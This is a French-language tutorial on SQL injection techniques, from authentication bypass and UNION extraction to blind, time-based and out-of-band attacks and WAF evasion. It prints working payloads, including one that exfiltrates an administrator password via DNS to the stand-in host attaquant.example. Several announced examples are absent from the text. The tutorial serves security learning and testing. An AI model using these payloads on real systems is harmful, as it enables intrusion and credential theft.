Injection SQL¶
L'injection SQL (SQL injection, ou SQLi) est une vulnérabilité qui permet à un attaquant d'interférer avec les requêtes qu'une application adresse à sa base de données. En injectant du code SQL dans un champ que l'application intègre sans précaution à sa requête, on peut consulter des données auxquelles on ne devrait pas avoir accès — celles d'autres utilisateurs, ou tout contenu stocké en base — voire modifier ou supprimer ces données, et dans certains cas compromettre le serveur sous-jacent.
L'origine du problème est presque toujours la même : l'application construit ses requêtes en concaténant des chaînes, en y insérant directement une entrée utilisateur au lieu de la transmettre comme un paramètre distinct. Le moteur ne fait alors plus la différence entre le code que le développeur a écrit et les données fournies par l'utilisateur.
Sortir du contexte avec un commentaire¶
Le point de départ classique consiste à terminer prématurément la requête prévue par le développeur et à neutraliser la suite à l'aide d'un commentaire SQL. Prenons une requête d'authentification :
En injectant la valeur administrator'-- dans le champ du nom d'utilisateur, on referme la chaîne et on commente la vérification du mot de passe :
Le -- marque le début d'un commentaire : tout ce qui suit est ignoré, la condition sur le mot de passe disparaît, et l'authentification réussit sur la seule base du nom d'utilisateur. Le # joue le même rôle sur MySQL, mais il doit souvent être encodé en %23 dans une URL.
Attaques UNION¶
Lorsque le résultat de la requête est renvoyé dans la réponse, l'opérateur UNION permet d'ajouter à la requête d'origine une seconde requête de notre choix, et donc d'extraire des données d'autres tables :
Pour qu'une attaque UNION fonctionne, deux conditions doivent être réunies : les deux requêtes doivent renvoyer le même nombre de colonnes, et les types de données doivent être compatibles colonne par colonne. Les deux premières étapes consistent donc à déterminer ces deux paramètres.
Déterminer le nombre de colonnes se fait de deux façons. La première injecte des NULL en nombre croissant jusqu'à ce que la requête cesse de renvoyer une erreur :
La seconde s'appuie sur ORDER BY en incrémentant l'indice de colonne jusqu'à l'erreur :
Cas d'Oracle
Sur Oracle, toute requête SELECT exige une clause FROM. On utilise pour cela la table système DUAL, toujours présente : ' UNION SELECT NULL FROM DUAL--.
Déterminer le type des colonnes consiste à placer une chaîne de test à chaque position, l'une après l'autre. La position qui n'engendre pas d'erreur de type accepte les chaînes de caractères — c'est là qu'on pourra exfiltrer du texte :
Quand une seule colonne accepte du texte, on peut malgré tout récupérer plusieurs champs en les concaténant. Sur Oracle et PostgreSQL, l'opérateur || assemble les valeurs avec un séparateur lisible :
Reconnaissance de la base¶
Avant d'extraire des données, il est utile d'identifier le système et d'explorer son schéma. La requête qui renvoie la version diffère selon le moteur :
| Type de base | Requête |
|---|---|
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |
Pour découvrir les tables et leurs colonnes, la plupart des moteurs (sauf Oracle) exposent les vues d'information_schema :
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'users'
Injection SQL aveugle¶
On parle d'injection aveugle (blind SQLi) lorsque la réponse ne renvoie ni le résultat de la requête, ni de message d'erreur exploitable. L'information doit alors être extraite indirectement, en observant un comportement de l'application qui dépend de la véracité d'une condition que l'on injecte.
Réponses conditionnelles¶
Si l'application réagit différemment selon que la requête est vraie ou fausse — par exemple en affichant un message de bienvenue dans un cas et rien dans l'autre — on peut poser des questions booléennes et lire la réponse dans ce comportement. On vérifie d'abord l'existence d'une table :
Puis l'existence d'un utilisateur précis :
On peut ensuite extraire un mot de passe caractère par caractère, en testant chaque position avec SUBSTRING (dont la syntaxe varie d'un moteur à l'autre) :
La réponse positive ou négative indique si le premier caractère est supérieur à m, et une recherche dichotomique permet de le déterminer rapidement, puis de passer au caractère suivant.
Erreurs conditionnelles¶
Quand l'application ne varie pas visiblement selon la condition, on peut forcer une erreur uniquement lorsque la condition est vraie, par exemple en déclenchant une division par zéro :
' AND (SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM users)='a
L'apparition (ou non) de l'erreur révèle alors la réponse à la condition.
Messages d'erreur verbeux¶
Si l'application renvoie le détail des erreurs SQL, on peut faire « fuiter » une valeur en la forçant dans un contexte de type incompatible. Une conversion en entier d'une chaîne provoque un message qui contient la chaîne elle-même :
Le moteur renvoie une erreur du type « invalid input syntax for type integer: "..." » dans laquelle la donnée apparaît en clair.
Injection temporelle¶
Quand aucune des techniques précédentes ne donne d'indication exploitable, on peut conditionner un délai à la véracité de la requête : si la réponse tarde, la condition était vraie. La fonction de temporisation dépend du moteur (WAITFOR DELAY sur SQL Server, pg_sleep sur PostgreSQL, SLEEP sur MySQL) :
'; IF (SELECT COUNT(*) FROM users WHERE username='administrator' AND SUBSTRING(password,1,1)>'m')=1 WAITFOR DELAY '0:0:5'--
Techniques hors-bande (OAST)¶
En dernier recours, on peut provoquer une interaction réseau du serveur vers un système que l'on contrôle, et y faire transiter la donnée extraite — typiquement via une résolution DNS dont le sous-domaine contient le secret. Sur Oracle, par exemple, on peut détourner le traitement XML pour déclencher une telle requête :
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % rem SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.attaquant.example/"> %rem;]>'),'/l') FROM dual--
Le mot de passe apparaît alors comme sous-domaine dans les journaux du serveur que l'on contrôle.
Injection dans d'autres contextes¶
Une injection SQL ne survient pas uniquement dans les paramètres d'URL ou les champs de formulaire. Toute donnée intégrée à une requête est un vecteur potentiel, y compris à l'intérieur d'un document XML. Dans ce cas, l'encodage par entités de caractères permet souvent de contourner un pare-feu applicatif (WAF) qui filtrerait les mots-clés SQL en clair :
<stockCheck>
<productId>123</productId>
<storeId>999 SELECT * FROM information_schema.tables</storeId>
</stockCheck>
Ici, le S de SELECT est écrit sous forme d'entité hexadécimale (S), ce qui peut suffire à passer inaperçu d'un filtre tout en étant correctement décodé par le parseur côté serveur. L'extension Hackvertor de Burp Suite automatise ce type d'encodage.
Aide-mémoire¶
| Objectif | Technique |
|---|---|
| Contourner une authentification | Commentaire -- ou # après le nom d'utilisateur |
| Extraire des données affichées | UNION SELECT après détermination du nombre et du type de colonnes |
| Identifier le moteur | @@version, version() ou v$version selon la base |
| Explorer le schéma | Vues d'information_schema |
| Pas de résultat, mais réaction visible | Injection booléenne via SUBSTRING |
| Pas de réaction visible | Erreur conditionnelle (division par zéro) ou délai temporel |
| Trafic réseau seul possible | Exfiltration hors-bande via résolution DNS |
La syntaxe exacte (concaténation, sous-chaînes, temporisation) variant fortement d'un moteur à l'autre, l'aide-mémoire SQLi de référence de PortSwigger reste une ressource précieuse à garder ouverte pendant un test.